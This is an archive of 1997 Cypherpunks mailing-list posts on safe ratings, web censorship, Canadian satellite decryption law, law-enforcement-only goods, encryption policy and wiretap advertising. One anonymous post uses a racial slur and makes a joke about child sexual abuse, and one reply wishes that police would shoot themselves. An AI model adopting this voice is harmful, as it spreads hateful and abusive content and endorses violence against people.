Also, safes are seldom strong enough to resist cracking even if they have to
(e.g. the target is dead or can't be found or skipped the country),
while anybody can get totally uncrackable crypto systems.
Government-rated combination locks, used on safes and strongrooms
designed to store TOP SECRET information in non-battlefield environments,
are generally rated for about two hours of drilling by a
competent locksmith, and my experience is that the ratings 
realistically reflect the actual difficulty of cracking the lock;
I haven't tested cutting through the safe itself, but I think
they were rated for something like six hours.
The purpose of the safe is to deter crackers long enough for
other security methods such as alarms and guards to detect
and stop the attempted breakin, as well as to deter insiders.
Safes designed for SECRET and TOP SECRET use also have weight
requirements, so that crackers can't just carry them away
and crack them at leisure.  Battlefield environments probably 
use more guards rather than stronger safes or fancier alarms.

Banks may use vaults that are tougher than that;
the classic bank burglary novel/movie involves defeating the
alarm system and working around the guards to either
dynamite the lock or break through the back wall over the weekend
(taking advantage of the time lock that prevents the
bank employees from getting in until Monday and noticing the hit.)




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From paul at fatmans.demon.co.uk  Sun Jul 27 11:02:07 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 27 Jul 1997 11:02:07 -0700 (PDT)
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33D8E731.8A663470@cptech.org>
Message-ID: 



> Tim, if you think that no web site are unambiguously inappropriate for
> children, then you are in a state of denial. 

Please clarrify this for us: What sites would you classify as unsuitable 
for children? What would you define as being a child? What justification 
do you give for supposing certain material to be unsuitable for viewing 
by a certain class of people?

> are a mistake, and should be resisted.  However, I do favor a far less
> ambitious and less informative system (less is more, as far as I am
> concerned), which involves a simple, single voluntary tag, selected by
> the web page publisher, at their discretion, of the nature of 
> 
> 

Would your vision of this be a mandatory system, or totally voluntary? 
Would clearly rating a site incorrectly be punishable in any way?

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From nobody at REPLAY.COM  Sat Jul 26 21:23:41 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 27 Jul 1997 12:23:41 +0800
Subject: CanadaBanAna Censors US TV (and bans decryption)
Message-ID: <199707270408.GAA12295@basement.replay.com>



  
   Saturday, July 26, 1997
   By Terence Corcoran
   
   HOME Box Office, the U.S. cable network, just garnered 90 Emmy
   nominations in recognition of quality programming. But HBO is still
   banned in Canada. The network was not on the list of foreign services
   approved Wednesday by Canada's dictator of cable and satellite
   television content, the CRTC. Others banned by the CRTC include
   Bloomberg Television and the U.S. versions of the Discovery Channel,
   The Comedy Network, the Disney Channel and scores of other program
   services deemed too subversive for Canadians to watch in their
   original form -- unless, of course, the same programming passes
   through the hands of a Canadian middleman or monopolist who will
   culturally sanitize the programming by skimming off a fat profit.
   
   Once a Canadian has grabbed a piece of the action -- as a distributor,
   broadcast licence holder, cable operator or satellite owner --
   Canadians are allowed to view the U.S. content. This banana republic
   setup has been in place for decades, and now it may be getting worse.
   A judge has concluded in one of the satellite disputes that it may
   even be illegal for a Canadian to pay for HBO and other networks as
   they come in over the border on U.S. satellite systems.
   
   The oral judgment by Mr. Justice Frederick Gibson of Federal Court of
   Canada in the case of ExpressVu versus Norsat and other companies was
   issued last month, but the written version sets a number of bizarre
   precedents that appear to deeply infringe on individual rights. By
   ruling in favour of ExpressVu, the Canadian satellite company, Judge
   Gibson has essentially come up with a judgment that is the equivalent
   of making it illegal for a Canadian to subscribe to Fortune or
   Cosmopolitan magazines or to buy a copy of Vanity Fair or Esquire on
   the newsstand.
   
   In this judgment, it is illegal for a Canadian to watch HBO and scores
   of other channels now available in the United States -- even if the
   service is paid for -- on the grounds that the federal
   Radiocommunication Act makes it illegal. The act says no person shall
   decode an encrypted signal without paying for the service and without
   authorization of the person who has the lawful right in Canada to
   transmit the signal.
   
   The purpose of the act's clauses on encryption is a technical one to
   prevent fraud. Evidence presented by Andrew Roman, the lawyer for
   Norsat, makes it clear that the intent of the government was to make
   it illegal for people to use counterfeit decoders and other devices to
   avoid payment. All the debates in Commons committee focus on the act
   as an attempt to prevent theft of signals. No such theft occurs when
   Canadians subscribe to and pay for a U.S. satellite service.
   
   But Judge Gibson's judgment ignores the theft-of-signal intent of the
   legislation. Instead, he interprets the act, in conjunction with other
   laws, and concludes that the clause on encryption makes it illegal for
   anyone to subscribe to a U.S. satellite service. Norsat has filed an
   appeal.
   
   What makes this judgment even more unusual is that it effectively
   attempts to make it illegal for a Canadian to pay for a U.S. channel
   on a U.S. satellite, when the identical U.S. channel is available on
   Canadian cable or satellite. For example, WGN-TV in Chicago can be
   picked up on Canadian cable, Canadian satellite or on U.S. satellite.
   In each case, the subscriber pays for the service. But under this
   judgment, it would be illegal to pay the U.S. satellite for WGN-TV.
   Who does this serve -- other than giving Bell and the cable companies
   more revenue.
   
   Even stranger is that many of the networks carried by U.S. satellites
   are already available in Canada over the air waves free, or on cable,
   or on C-band, an alternative satellite service that has been available
   in Canada for years. A Seinfeld episode can be picked up free over the
   air from a U.S. television station, or on a U.S. station via cable, or
   on a Canadian station on cable. But if the same Seinfeld episode were
   bought by a Canadian from a U.S. satellite service, it's illegal.
   
   Filling the troughs of the Canadian broadcasting industry and
   transmission systems may be the purpose of broadcasting policy, but it
   is certainly not the objective of this section of the
   Radiocommunication Act.
   
   Canada's specialty networks, meanwhile, are gearing up to flood the
   country with copy-cat versions of the networks banned by the CRTC --
   including The Globe and Mail, which is a partner in ROBTv, a business
   channel that hopes to benefit from the fact that Bloomberg will be
   banned in Canada. Other brilliantly innovative duplications of U.S.
   networks are The Home and Garden Channel, History Television, The
   Comedy Network, Discovery and Country. Is this unique Canadian
   culture? One such Canadian offering, The Family Channel, has even
   abandoned all pretext to being a Canadian original: it's changing its
   name to recognize the source of most of its content: The Disney
   Channel.
   
http://www.globeandmail.ca/docs/news/19970726/ROBColumn/RCORC.html






From declan at pathfinder.com  Sat Jul 26 22:00:31 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sun, 27 Jul 1997 13:00:31 +0800
Subject: New Ratings Categories / Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707261158.NAA19507@basement.replay.com>
Message-ID: 



Sure. I've done it before. They give weasel answers, small surprise there.
Some (though not all) misrepresent the law, distort the truth, and flat
out lie.

Do I accuse them of being fascist censorhappy wackos? Yes. Motherfuckers?
No; my editors generally don't go for it.

I mean, the biggest problem with the CDA was overbreadth. It pulled a
bait-n-switch maneuver: saying it protects children while restricting the
rights of adults. Which is why the SupCt struck it down.

-Declan


On Sat, 26 Jul 1997, Anonymous wrote:

> 
>   A Challenge To Declan: Do you have the balls to contact all of those
> individuals pushing for fascist censorship in the name of "protecting
> children" and ask them if they would support the rights of adults to
> promote and access adult material on the InterNet if a way can be found
> to guarantee that minors will not be able to access it?
>   Do you have the balls to refuse letting them dodge the issue with
> meaningless, bullshit, political rhetoric? Do you have the balls to
> tell them that if you don't get a straight answer,  you will report 
> that they are lying, fascist, censorist motherfuckers who are hiding
> behind children to disguise their hidden agenda of forcing their 
> personal beliefs on others?






From declan at well.com  Sat Jul 26 22:26:22 1997
From: declan at well.com (Declan McCullagh)
Date: Sun, 27 Jul 1997 13:26:22 +0800
Subject: Declassified crypto-hearing transcript now online
Message-ID: 



The URLs, thanks to JYA:

   http://site108240.primehost.com/hir-hear.htm  (97K hearing transcript)

   http://site108240.primehost.com/crypto-law8.htm  (11K Reno letter)
 
-Declan






From tcmay at got.net  Sat Jul 26 23:44:44 1997
From: tcmay at got.net (Tim May)
Date: Sun, 27 Jul 1997 14:44:44 +0800
Subject: Rules for "Them" and Rules for "Us"
In-Reply-To: <01bc9711$78a2baa0$458a98cf@kevlar>
Message-ID: <199707270632.XAA14659@you.got.net>



(A copy of this message has also been posted to the following newsgroups:
rec.knives, talk.politics.guns,alt.cypherpunks)


[Note to Usenet readers. I wrote this for the Cypherpunks mailing list,
but decided you folks in rec.knives and talk.politics.guns might be
interested too.]


Pardon the rant, to borrow a line from Dennis Miller.

One of the recent trends which really bugs me, and which seems to be
indicative of a major shift in the American system is this:

"They" have certain rights the rest of "us" don't have. 

Who are "they"?

- law enforcment

- the military

- the spies

- the secret police

The "us" is anyone not in a special group exempted from the ban.

(Note: Please don't cite the hackneyed example of how the government has
the right to own nuclear weapons but ordinary citizen-units do not. This
is indeed so, and I don't even necessarily think this is completely
unreasonable...though I now am more inclined to support the right to keep
and bear nukes. But, seriously, the issues are not so cosmic as nuclear
weapons....the examples I'll cite here are much more mundane, and more
pervasive.)

Here's an example I ran across tonight, in the group rec.knives:

In article <01bc99fa$f7d16420$538a98cf at kevlar>, "James R Thorpe"
 wrote:

> > Does the name refer to the blade length.?
> > IE only 2 inches and therefore legal in California.
> > Nice looking knife. What's the blade made out of?
> > daithi
> > 
> Got mine in the mail, it's a sweet little knife. Better than I expected.
> Rugged feeling too. ATS-34 Blade, and aluminum handles. Lanyard Hole, where
> I tied a piece of leather shoestring, and the blade pivot is tension
> adjustable. The blade on the ones PV Knife is shipping now is a little
> different than the picture. It has a clip point and hollow grind. It's
> small but feels bigger than the picture once you get it in your hand. My
> fianc� even wanted to fondle it. Its a very "grabable" knife. After she cut
> herself she didn't want to play with it anymore.
> Not sure why its named CA Special. You can probably get one shipped to you
> with out any LEO/Military credentials due to the blade length.
> Jim

Here's what these guys are referring to:

There are large numbers of knives and knife types which are forbidden for
ownership and/or carrying in California, amongst other states, but which
are commonly carried by cops. Some are the evil "switchblades" (a category
which may or may not include the thumbhole folders a lot of us carry in
our pockets, depending on what the local cops decide). Some are
"butterfly" knives. Some are just plain knives which are longer than the
local burghers (or is it "burgers"? :-)) have "permitted." In California,
there is ongoing uncertainty about whether a fixed-blade knife may be
carried openly, which may be "brandishment," or may be carried in a
backpack (and hence "concealed")...one analysis noted that it is probably
a felony to carry a kitchen knife home from a store, as it is either being
"concealed" if in a bag, or "brandished" if not. I guess hiring a delivery
boy would shift the felony to him...or make one a co-conspirator in a RICO
felony.

(Practically speaking,  there are few arrests and even fewer prosecutions.
Cops have been known to tell people to "keep your knife out of sight and
you'll be OK," even though the laws are usually quite clear that this is
felony concealment. The law is an ass.)

OK, enough about knives.

The point is that the term "LEO" means "Law Enforcement Only." Meaning,
your local cop is free to buy these items, even for personal use in many
cases, but the sheeple are not. My local gun stores have sections marked
"Law Enforcement Use Only," and these sections are getting bigger every
year.

Here are some things which now fall into this "Them" vs. "Us" situation:

* Knives. They get to own all sorts of things. We are being limited more
and more each year: the allowable knives are getting shorter, the types
are being further restricted. (All in a putative move to reduce
crime...anybody think that telling T.C. May he's a felon if he carries his
Benchmade AFCK is going to reduce the number of knifings?)

* Guns. 'Nuff said, as we all have heard much about this. A recent example
is telling though--the banning of magazines (clips) holding more that 10
rounds. (Unless already made before some date, and some other details.) 
Cops and even retired cops and retired military personnel are allowed to
buy the 15-round magazines their guns are made to use, but the sheeple are
not.

(And there are proposals to ban magazines holding more than 5 rounds, to
ban detachable magazines completely, to ban semi-automatic weapons, to ban
all firearms except "sporting" rifles, and so on.)

* Ammunition. Believe it or not, some forms of bullets are now restricted
to "LEO." (Usually after some shooting spree, or some mass media
hysteria--as with the never-produced "Black Rhino" ammo--there are sudden
moves to ban some class of ammo. Cops make sure they are not affected,
and,voila, a new "LEO" item is added to the list.)

* Martial arts supplies. Batons, kubotans, throwing stars, nunchuks, etc.
These are allowed for cops, but not for ordinary people, regardless of
training. 

* Drugs. Aside from the evidence that the CIA and other gov't agencies ran
drugs into the U.S. (cf. the usual sources), there are lots of drugs the
gov't. dispenses to its own troops, including methamphetamines, which it
declares to be contraband in the civilian sector. (Pilots, for example,
are given uppers to maintain alertness, but of course a truck driver
caught with them faces jail.)

* Radio equipment. Certain frequencies are not allowed on civilian radios,
and there are related restricitons. (Radio buffs will know a lot more.)
Some of this may be for "legitimate" (barf) reasons, to maintain radio
security for sensitive operations, but mostly it is not needed (and is
bypassable by spies and anyone seriously interested in doing so). Note of
course that strong crypto would bypass this issue of banning certain types
of electronic equipment.

(I am not including TEMPEST equipment as being banned, as this seems to be
a false rumor. The TEMPEST research may be classified, but there are no
laws that I know of that make it a crime to make a piece of equipment
radiate very little RF. In fact, the FCC likes it this way.)

* Armor. Especially body armor (aka "bulletproof vests"). I believe there
are some restrictions on what may be sold to civilians.

* Biological research. There are specific laws making it illegal for
private individuals or companies to do research in certain areas without
government approval. (I believe the specific law dates from around 1975,
and covers CBW weapons and related research. Ditto for nuclear weapons,
probably under the Atomic Energy Act or somesuch.)

* Crypto, of course. Not yet, domestically, but we appear to be entering
an era in which the government and its employees have access to crypto the
rest of us are forbidden to use. PGP may have a warning sticker: "Law
Enforcement Use Only."

I assume others of you can think of examples I've left out. Obviously
things like wiretap equipment, etc. are often restriced to law enforcement
and spies. At least one of those "007" spy shops was shut down for selling
to civilians stuff that cops readily have (I heard this on CNN, but I
don't have the details).
 
The danger in all of this is not that there are a _few_ things that we let
police and soldiers have that we think civilians should not have, but that
_so many_ things are now classified this way, with the number of things so
classified growing constantly.

This makes for a dangerous society, civil liberties-wise, when industrial
companies and shops have two classes of customers: them and us.

This stinks. We're not talking about private ownership of nukes. We're
talking about a situation where a citizen can go to prison for having a
knife longer than 3 inches in his pocket, while cops are free to have them
for their own purposes.

This stinks.

--Tim May

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."






From straightedge.dave at sk.sympatico.ca  Sun Jul 27 01:42:15 1997
From: straightedge.dave at sk.sympatico.ca (David Yaffe)
Date: Sun, 27 Jul 1997 16:42:15 +0800
Subject: CanadaBanAna Censors US TV (and bans decryption)
Message-ID: <3.0.2.32.19970727023226.007ba260@mailhost.sk.sympatico.ca>



This is my sarcastic reply to the article.. has a couple of interesting
'facts' about canadian life.. Enjoy!

>   HOME Box Office, the U.S. cable network, just garnered 90 Emmy
>   nominations in recognition of quality programming. But HBO is still
>   banned in Canada. The network was not on the list of foreign services
>   approved Wednesday by Canada's dictator of cable and satellite
>   television content, the CRTC. Others banned by the CRTC include
>   Bloomberg Television and the U.S. versions of the Discovery Channel,
>   The Comedy Network, the Disney Channel and scores of other program
>   services deemed too subversive for Canadians to watch in their
>   original form -- unless, of course, the same programming passes
>   through the hands of a Canadian middleman or monopolist who will
>   culturally sanitize the programming by skimming off a fat profit.

Hey we don't even have a Canadian version of Sesame Street anymore.. The
government controlled TV station (that CBC) decided that the content of the
Canadian version of Sesame Street was still to American... (Like 5 year
olds know the difference!)
   
>   Once a Canadian has grabbed a piece of the action -- as a distributor,
>   broadcast licence holder, cable operator or satellite owner --
>   Canadians are allowed to view the U.S. content. This banana republic
>   setup has been in place for decades, and now it may be getting worse.
>   A judge has concluded in one of the satellite disputes that it may
>   even be illegal for a Canadian to pay for HBO and other networks as
>   they come in over the border on U.S. satellite systems.

Okay, so if I get a video feed of the internet is that illegal in Canada?
You bet!! Even PGP-fone is.. after all, telephones are designed for voice
communication, the internet is for data. All praise the High and Mighty CRTC. 

>   The oral judgment by Mr. Justice Frederick Gibson of Federal Court of
>   Canada in the case of ExpressVu versus Norsat and other companies was
>   issued last month, but the written version sets a number of bizarre
>   precedents that appear to deeply infringe on individual rights. By
>   ruling in favour of ExpressVu, the Canadian satellite company, Judge
>   Gibson has essentially come up with a judgment that is the equivalent
>   of making it illegal for a Canadian to subscribe to Fortune or
>   Cosmopolitan magazines or to buy a copy of Vanity Fair or Esquire on
>   the newsstand.
Shit! no more WIRED Magazine & No more comic books...

[Snip]

>   The purpose of the act's clauses on encryption is a technical one to
>   prevent fraud. Evidence presented by Andrew Roman, the lawyer for
>   Norsat, makes it clear that the intent of the government was to make
>   it illegal for people to use counterfeit decoders and other devices to
>   avoid payment. All the debates in Commons committee focus on the act
>   as an attempt to prevent theft of signals. No such theft occurs when
>   Canadians subscribe to and pay for a U.S. satellite service.

Yup.. but the government thinks we're all after free TV.. Even those of us
who don't even have "Basic cable", and have just the three free channels...
(All I need is my Simpson's :) 
   
>   What makes this judgment even more unusual is that it effectively
>   attempts to make it illegal for a Canadian to pay for a U.S. channel
>   on a U.S. satellite, when the identical U.S. channel is available on
>   Canadian cable or satellite. For example, WGN-TV in Chicago can be
>   picked up on Canadian cable, Canadian satellite or on U.S. satellite.
>   In each case, the subscriber pays for the service. But under this
>   judgment, it would be illegal to pay the U.S. satellite for WGN-TV.
>   Who does this serve -- other than giving Bell and the cable companies
>   more revenue.

Yup -- Canadians love to pay tax, that's why we pay so much of it.. ( well
over half of a Canadian citizen's income is taxes. If the average Canadian
were to devote 100% of their paychecks to their taxes for the year, they
would start seeing some income in the middle of July. For the first six
plus months of the year, they would be paying taxes. I believe that Simon
Fraser University does the calcuations each year..
   
>   Even stranger is that many of the networks carried by U.S. satellites
>   are already available in Canada over the air waves free, or on cable,
>   or on C-band, an alternative satellite service that has been available
>   in Canada for years. A Seinfeld episode can be picked up free over the
>   air from a U.S. television station, or on a U.S. station via cable, or
>   on a Canadian station on cable. But if the same Seinfeld episode were
>   bought by a Canadian from a U.S. satellite service, it's illegal.

   
>   Canada's specialty networks, meanwhile, are gearing up to flood the
>   country with copy-cat versions of the networks banned by the CRTC --
>   including The Globe and Mail, which is a partner in ROBTv, a business
>   channel that hopes to benefit from the fact that Bloomberg will be
>   banned in Canada. Other brilliantly innovative duplications of U.S.
>   networks are The Home and Garden Channel, History Television, The
>   Comedy Network, Discovery and Country. Is this unique Canadian
>   culture? One such Canadian offering, The Family Channel, has even
>   abandoned all pretext to being a Canadian original: it's changing its
>   name to recognize the source of most of its content: The Disney
>   Channel.

Don't forget Much Music.. I need my MTV oops muchmusic...

No, the problem is not canadian content, the problem is the percieved
canadian content. A lot of Canadians think that canadian culture is under
constant attack from the US. After all how many magazines are canadian? how
much of the music on the Radio is Cancon (canadian content)? How much of
the news we get from the newspaper is Canadian? Also, seeing that most of
the people in canada (except for the aboriginals) are of European Decent,
just like the US.. what does it matter anyway? What the CRTC fails to
realize is that canadian culture will do fine even if as Canadians we get
American satellite.....






From straightedge.dave at sk.sympatico.ca  Sun Jul 27 01:49:23 1997
From: straightedge.dave at sk.sympatico.ca (David Yaffe)
Date: Sun, 27 Jul 1997 16:49:23 +0800
Subject: Rules for "Them" and Rules for "Us"
Message-ID: <3.0.2.32.19970727024151.007b9130@mailhost.sk.sympatico.ca>



>This stinks. We're not talking about private ownership of nukes. We're
>talking about a situation where a citizen can go to prison for having a
>knife longer than 3 inches in his pocket, while cops are free to have them
>for their own purposes.

We can all pray for the day when law enforcement, and government personel
wake up one morning, realise what they are and shoot themselves.

Then again, they are all such nice people, why would we want them to do that..


David
Those who can, do. Those who can't, teach. Those that know nothing about
anything, lead..






From 05551984 at turboma.dyn.ml.org  Sun Jul 27 17:12:43 1997
From: 05551984 at turboma.dyn.ml.org (05551984 at turboma.dyn.ml.org)
Date: Sun, 27 Jul 1997 17:12:43 -0700 (PDT)
Subject: About your online business.
Message-ID: <>


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From 05551984 at turboma.dyn.ml.org  Sun Jul 27 17:12:43 1997
From: 05551984 at turboma.dyn.ml.org (05551984 at turboma.dyn.ml.org)
Date: Sun, 27 Jul 1997 17:12:43 -0700 (PDT)
Subject: About your online business.
Message-ID: <>


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potential buyer.

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From nobody at REPLAY.COM  Sun Jul 27 06:45:38 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 27 Jul 1997 21:45:38 +0800
Subject: Can you spell 'Stoopid'? Sure you can... / Re: thought for the day, and my IRS Investigations report
Message-ID: <199707271334.PAA23880@basement.replay.com>



"David D.W. Downey"  wrote: 
> Zooko Journeyman wrote:
> > My interaction with Jim Bell pretty much amounted to condemning
> > him and telling him to go to hell, CC'ed to cypherpunks.  And
> > I haven't received any IRS Investigations notes, so perhaps my
> > e-mail address wasn't included in Jim's little black book.

> Why does it always seem like there has to be someone out there that just
> HAS to be an idiot.

Dear Dave,
  Why does it always seem that it is the idiots who ask this question?

  Are you by any chance of fate related to the David Downey who spammed
the cypherpunks list with an announcement of his attempt to "get a
number
of the other cypherpunk lists together under one umbrella," then sent
several copies of his "Welcome to my fascist, censorous,
pseudo-cypherpunk
mailing list." message to the cypherpunks list (and subsequently
displayed
his lack of knowledge as to how to unsubscribe to a mailing list, let 
alone try to run one)?

> From: "David Downey" 
>  To: cypherpunks-unedited-outgoing at toad.com
>
> unsubscribe cryptography-politics-pgp-l

Welcome to The Privacy Channel's Cryptography-Politics-PGP-L. As you've
probably guessed from the list title, this list is dedicated to the
open, friendly, and intellegent discussion of Cryptography around the
globe.

  "Open, friendly, and intellegent discussion." ???!!!???
  Sounds like my "CypherPissing" mail folder would starve to death
if it counted on your list for its sustenance.

All are welcome here

  Thank God! I was afraid I wouldn't be able to discuss my pictures
of the Pope with his dick in the mouth of children being held down
by Mother Teresa.

Now, let's get a few things out of the way. The Rules!

  I'm starting to smell leather. Is it 'Jackboot' leather?

1) ABSOLUTELY NO SPAMMING ALLOWED!!!! I'll can ya in a heartbeat, as
well as speak to all the server owners that you traveled on.

  Are the capital letters meant to indicate shouting, a thick Nazi 
German accent, or both? And are you intending only to 'inform' on
and 'cause trouble for' *bad* people? Will there be 'spankings' 
involved (or does this cost extra)?

2) You keep it kind of clean. Keep the swearing and such down to a
minimum. 

  Ex-fucking-cuse me?
  Is there a swearing 'minimum' which is *required*, or only a 'maximum'
which is *allowed*? Do Tourettics require a note from their doctor to
call someone who sucks dick a cocksucker?

You can get your point across just as well without cussing.

  Right. Like there is a phrase other than "lying, fucking criminal,
god damn, rat-bastard Nazi motherfuckers" that could possibly come
close to describing our beloved legislators.
 
Flaming others is also considered bad karma here. I'd like to see folks
help each other around here. 

  "Why can't we all just get..."
  "... along."
        - Rodney King
  "...a long nightstick and just beat the fuck out of a nigger."
        - L.A. Chief of Police

After all, we are all we got!

  And "Wherever you go, there you are."
  And "Patience comes to those who wait."
  And "If God is Love and Love is Blind, then Ray Charles must be God."
  Will we be singing "Michael row the boat ashore." a lot on your list?

3) You try to keep as much as possible to the point, and to the content
of this list.

  OK, but it's going to make it a lot harder to sell my '67 Chevy
station
wagon. (It's an "anonymous" automobile with stolen plates. Perfect for
a cypherpunk.)

If you really want to talk about something else, let me
know. I'll get another list going.

  Great! Now I know who is in charge of giving me permission to talk and
is willing to control the forum in which I do it. Up until now I have
had to bear this terrible burden myself.

4) Respect others!!!

  Does the "!!!" imply "or else..."?

5) Finally, HAVE FUN!!!!!

  How? By telling you to stick your "rules" up your ass?
  "FUN" in a manner that meets your approval?
  Does your shouting "HAVE FUN" and the multiple exclamation marks
mean that having fun is 'required'?
  If so, will Jim Bell be allowed an exception to this rule, or will
he have to learn to enjoy being buggered by Prisoner #32289723?

I'm done. Talk to you on the List.

  You were done before you even got started. And shouldn't you have
said, "SHOUT AT YOU ON THE LIST!!!!!!!!!!!!!!!!!!!!!!!!!!!"?

  I think I'll join the "Miss Manners Cryptography List," instead.
It teaches proper oppression etiquitte, such as which fork to stick
in the eye of the Jackboots who kick in your door to demand your
secret key, and how to choose the proper wine to go with the shit 
that the government dishes out.

!have !fun,
  TruthMonger







From jya at pipeline.com  Sun Jul 27 08:20:05 1997
From: jya at pipeline.com (John Young)
Date: Sun, 27 Jul 1997 23:20:05 +0800
Subject: Cerf: Building a Barrier-Free Net
Message-ID: <1.5.4.32.19970727150210.00731858@pop.pipeline.com>



   The New York Times, July 27, 1997, Money & Business, p. 12.

   Viewpoint

   Building an Internet Free of Barriers

   Vinton G. Cerf

      Vinton G. Cerf is senior vice president for Internet
      architecture and engineering at MCI Communications. He
      is a co-inventor of the computer networking protocol
      TCP/IP, which has become the language for Internet
      communications.

   When the subject is global networks like the Internet, the
   magic word is "seamlessness." Seamless global
   communications represents the technological promised land
   of major network providers like mine. For the consumer,
   seamlessness means unimpeded, smooth, clear communications
   among all points within a network and among all networks.

   To the extent that it has developed, seamlessness has been
   the sine qua non, the essential element, behind the
   fast-growing Internet. It is the essence of the links of
   the World Wide Web. The Internet, after all, is not a
   network, or even a medium, in the traditional sense, but a
   network of nearly 200,000 networks and a medium of media,
   encompassing all the long-established ones while creating
   entirely new types. The more seamless we make the Internet
   and, for that matter, the global information
   infrastructure, the quicker we will harness the immense
   potential.

   Although high hurdles of technology and infrastructure
   stare us in the face, obstacles of the political and public
   policy variety are equally daunting. Many policy makers
   fail to grasp that the very seamlessness already found on
   the Internet, coupled with its basic digital nature, makes
   it almost impossible to monitor or regulate its flow of
   information in a hierarchical way. Notwithstanding the
   efforts of certain countries, Big Brother would have real
   problems doing his dirty work on the Internet. Still,
   well-meaning policy makers try to extend longstanding
   social goals to the Internet through heavy-handed,
   market-distorting mandates when industry-led strategies
   could be more effective.

   Of greatest concern to the Internet industry today are the
   many legal quagmires and incoherent policy patchworks that
   hinder Internet commerce. Achieving full seamlessness of
   Internet networks will be impossible if the networks'
   builders must maneuver through inconsistent laws and
   policies. Not only are the policies of many nations in
   conflict, but so are policies within nations -- and to such
   an extreme that some seem mutually exclusive.

   A good example is encryption policy. Encryption technology
   scrambles digital communications to make them
   indecipherable to anyone except the intended receiver. The
   users range from businesses that transmit confidential data
   to individuals who send personal E-mail messages.
   Widespread availability of encryption is a prerequisite for
   enhancing security and privacy on the Internet, for
   engendering a mature electronic marketplace and even for
   helping the work of law enforcement.

   Yet governments resist removing old restrictions on the
   export and use of encryption technology -- rules that date
   from the cold war -- even as they proclaim pro-market
   intentions and stress greater Internet privacy and security
   as priorities.

   Fortunately, growing numbers of key policy makers in the
   advanced democracies are showing a clearer, more
   technologically sophisticated understanding of the
   Internet. They grasp that while government financed the
   start of the Internet, the absence of government has
   largely allowed it to take off like a rocket.

   Within this group are members of Congress like Senators
   Conrad Burns, Republican of Montana, and Patrick Leahy,
   Democrat of Vermont, and Representative Bob Goodlatte,
   Republican of Virginia, who are pushing to liberalize
   encryption export controls.

   Another is Ira C. Magaziner, the White House adviser who
   oversaw the development of a major Administration policy
   paper, released earlier this month, on electronic commerce.
   The paper, which advocated a largely hands-off approach by
   Government to Internet regulation, is a breakthrough in
   electronic commerce policy. Its perspective is properly
   global; its delineated goals, highly commendable.
   Particularly laudable is its proposal to designate the
   Internet as a tariff-free zone.

   The Internet is now perhaps the most global and democratic
   form of communications. No other medium can so easily
   render outdated our traditional distinctions among
   localities, regions and nations. While the Internet
   increasingly knows no boundaries, it still knows barriers
   all too well -- obstacles that are too often born of
   technological ignorance leading to incoherent public
   policy.

   The world cannot afford policies that impede the
   development of the Internet, diminish its utility and limit
   its social reach. And much more could be at stake than
   seamless digital networks. We may find that the more we
   succeed in removing barriers to Internet communications,
   the more we may help reduce those other, far more important
   obstructions to human communications -- the ones that
   divide nations and estrange demographic groups.

   That, ultimately, could be the most far-reaching, enduring
   benefit of an unfettered global Internet.

   -----

   Readers may submit opinion articles to Viewpoint and
   articles on personal experiences to From the Desk Of, Money
   and Business, The New York Times, 229 West 43d Street, New
   York 10036, or send E-mail in care of viewpts at nytimes.com
   or fromdesk at nytimes.com. All submissions become the
   property of The Times. They may be edited and may be
   republished in any medium. If manuscripts are accepted for
   publication, authors will be notified within too weeks.

   [End]













From jya at pipeline.com  Sun Jul 27 09:52:27 1997
From: jya at pipeline.com (John Young)
Date: Mon, 28 Jul 1997 00:52:27 +0800
Subject: LEO Sly Bug Buy, Bye Spy Shop
Message-ID: <1.5.4.32.19970727163329.008845bc@pop.pipeline.com>



As follow-up to an earlier thread, and Tim's post on LEOs, them
and us, this excerpt from House Report 105-162:

                Background and Need for the Legislation

    Section 2512 of title 18, United States Code, prohibits the
advertisement of any electronic, mechanical or other device,
``primarily useful for the purpose of surreptitious
interception of wire, oral or electronic communications.'' This
section was drafted with the intention of ``significantly
curtailing the supply of devices * * * whose principal use is
likely to be for wiretapping or eavesdropping.'' \1\ The
Committee report listed several examples of devices which would
fall under this prohibition, including microphones designed as
wristwatches, cuff links, tie clips, fountain pens or cigarette
packs.\2\
---------------------------------------------------------------------------
    \1\ S. Rep. No. 1097, 90th Cong., 2d Sess. 94-95 (1968).
    \2\ Id.
---------------------------------------------------------------------------
    Unfortunately, legitimate law enforcement users were swept
along with this prohibition on advertisements. Because of the
restriction under Sec. 2512, companies which manufacture
devices designed for wiretapping are not permitted to advertise
the sale of their products to police departments. These
companies are aware of cases in which a defendant was charged
and convicted for violation of Sec. 2512, and although they
would like to make the law enforcement community aware of their
products, they do not wish to risk criminal sanctions.\3\
---------------------------------------------------------------------------
    \3\ See, e.g., United States v. Ron Wynn, 633 F. Supp. 595 (1986).
---------------------------------------------------------------------------
    Law enforcement officers, particularly undercover officers,
often use devices which would fall under the definition of a
device ``primarily designed for surreptitious interception.''
It is a strange anomaly in the law that police departments have
the authority to use electronic intercepts, but they may not
receive mailings about improvements to such equipment. This
exception is particularly significant since electronic
interception equipment is frequently updated and improved.
    As an example, police officers and informants often use
body microphones to record criminal activity. Covert devices
are critical for the collection of evidence, yet many
experienced criminals are aware of traditional attempts to
disguise body transmitters. These transmitters have been
miniaturized, and can now be disguised in some common facade
unfamiliar to criminals. By not allowing companies which
manufacture intercept equipment to advertise to police
departments, police officers' lives are unnecessarily put at
risk.
    H.R. 1840 will provide relief to companies which
manufacture electronic interception equipment, by allowing them
to advertise the availability of their products to agencies of
